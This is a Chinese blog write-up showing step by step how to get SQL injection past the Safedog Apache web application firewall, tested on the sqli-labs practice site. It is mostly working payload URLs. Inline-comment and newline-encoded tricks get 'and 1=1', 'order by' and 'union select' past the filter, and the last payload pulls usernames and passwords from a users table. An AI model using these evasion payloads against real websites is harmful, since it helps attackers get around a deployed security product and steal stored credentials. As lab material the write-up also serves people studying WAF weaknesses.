环境
系统:win7x64+phpstudy+安全狗apache版 v4.0
站点:sqli-labs
bypass
Mysql 注释符:# , -- , /*...*/ Mysql 空白字符:%09,%0a,%0b,%0c,%0d,%20,%a0
绕过 and 1=1
首先判断是否有注入点:
正常情况:http://192.11.22.55/sqli/Less-1/?id=1' and 1=1 %23 (安全狗拦截)
把and 1=1拆分:
http://192.11.22.55/sqli/Less-1/?id=1' and %23 (安全狗不拦截)
所以要把and和1=1当成两部分,在它们之间进行干扰。经过一番测试用/*!..*/就能绕过,payload:/*!..*/(在星号后加惊叹号,那么此解释里的语句将被执行)
http://192.11.22.55/sqli/Less-1/?id=1' and /*!1=1*/ %23 (安全狗不拦截)
绕过 order by
正常情况:http://192.11.22.55/sqli/Less-1/?id=1' order by 1,2,3 %23 (安全狗拦截)
http://192.11.22.55/sqli/Less-1/?id=1' order by %23 (安全狗不拦截)
所以把order by和1,2,3,x当成两部分,继续干扰。用刚刚的思路/*!..*/绕过
http://192.11.22.55/sqli/Less-1/?id=1' order by /*!1,2,3*/ %23 (安全狗不拦截)
绕过 union select
测试:http://192.11.22.55/sqli/Less-1/?id=-1' union select %23 (安全狗拦截)
尝试之前的思路union /*!select*/1,2,3 (安全狗拦截)
多次测试之后发现,需要在union和select之间进行干扰,当时这里绕了很久,没绕过去,但总感觉能弄出来。好吧,弄久了没啥灵感就去网上搜搜思路。看到了篇今年5月份的帖子
payload:e66union(/*(x/*–*\/)*/select1,2),
结果被杀了
上个厕所冷静下,想想到底还漏了哪些字符没有利用到,好吧其实我在刷抖音,刷到了条:你的城市那么空,回忆那么凶,嘿咯嘿咯~瞬间充满灵感,是空,空白字符没用到啊!!
拿%0a去url解码发现有换行的功能,比如
select *from admin where id=-1 union %0aselect 1,2,3
union /*|--|*/--+%0aselect 1,2,3 http://192.11.22.55/sqli/Less-1/?id=-1'union /*|--|*/--+%0aselect 1,2,3%23 (安全狗不拦截)
绕过 union select 1,2,3 from users
利用刚刚绕过union select的payload,即可绕过,总的来说哪里拦截就干扰哪里。payload:
union /*|--|*/--+%0aselect 1,username,password from /*|--|*/--+%0ausers limit 1,2 http://192.11.22.55/sqli/Less-1/?id=-1'union /*|--|*/--+%0aselect 1,username,password from /*|--|*/--+%0ausers limit 1,2%23 (安全狗不拦截)
本文作者为Mr.Wu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !